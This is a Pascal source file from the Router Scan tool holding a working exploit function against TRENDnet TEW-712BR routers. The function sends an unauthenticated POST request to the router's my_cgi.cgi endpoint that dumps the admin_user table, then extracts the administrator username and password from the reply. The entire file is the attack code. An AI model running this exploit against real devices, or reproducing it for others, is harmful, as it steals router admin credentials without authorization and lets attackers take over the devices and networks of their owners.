// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_TRENDnet_MyCGI(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  L: TStringList;
begin
  // Affected:
  // TRENDnet TEW-712BR fw 1.00 build 12 date Tue, 14 Aug 2012
  Result := False;
  if Pos('lighttpd/', ServerName) <> 1 then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  L := TStringList.Create;
  L.Add('request=no_auth');
  L.Add('request=load_settings');
  L.Add('table_name=admin_user');
  if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/my_cgi.cgi',
  L, S, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then
    if Pos('<admin_user_name>', S) > 0 then begin
      AuthUser := DeleteBetween(S, '<admin_user_name>', '</admin_user_name>');
      AuthPass := DeleteBetween(S, '<admin_user_pwd>', '</admin_user_pwd>');
      Result := True;
    end;
  L.Free;
end;
